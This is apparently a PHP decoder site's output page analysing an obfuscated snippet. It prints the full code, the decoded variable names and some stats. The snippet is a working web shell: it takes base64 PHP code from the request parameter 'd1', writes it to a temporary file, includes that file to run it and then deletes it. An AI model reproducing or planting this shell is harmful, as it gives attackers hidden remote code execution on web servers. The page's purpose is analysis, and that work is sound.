Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$a = chr(95).chr(116).chr(101).chr(109).chr(112).chr(108).chr(111).chr(99).chr(97).chr(116..

Decoded Output download

<?  $a = chr(95).chr(116).chr(101).chr(109).chr(112).chr(108).chr(111).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110); 
$c = chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115); 
$d = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101); 
$f = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32); 
$b = $f.$d($_REQUEST[chr(100).chr(49)]); 
@array_diff_ukey(@array((string)($a) => 1), @array((string)($b) => 2), $c); 
@include($a); 
@unlink($a); 
 
 ?>

Did this file decode correctly?

Original Code

$a = chr(95).chr(116).chr(101).chr(109).chr(112).chr(108).chr(111).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110);
$c = chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);
$d = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$f = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
$b = $f.$d($_REQUEST[chr(100).chr(49)]);
@array_diff_ukey(@array((string)($a) => 1), @array((string)($b) => 2), $c);
@include($a);
@unlink($a);

Function Calls

chr 51
base64_decode 1

Variables

$a _templocation
$c file_put_contents
$d base64_decode
$f <?php

Stats

MD5 07879944a3b381515a7e90af90f34aac
Eval Count 0
Decode Time 129 ms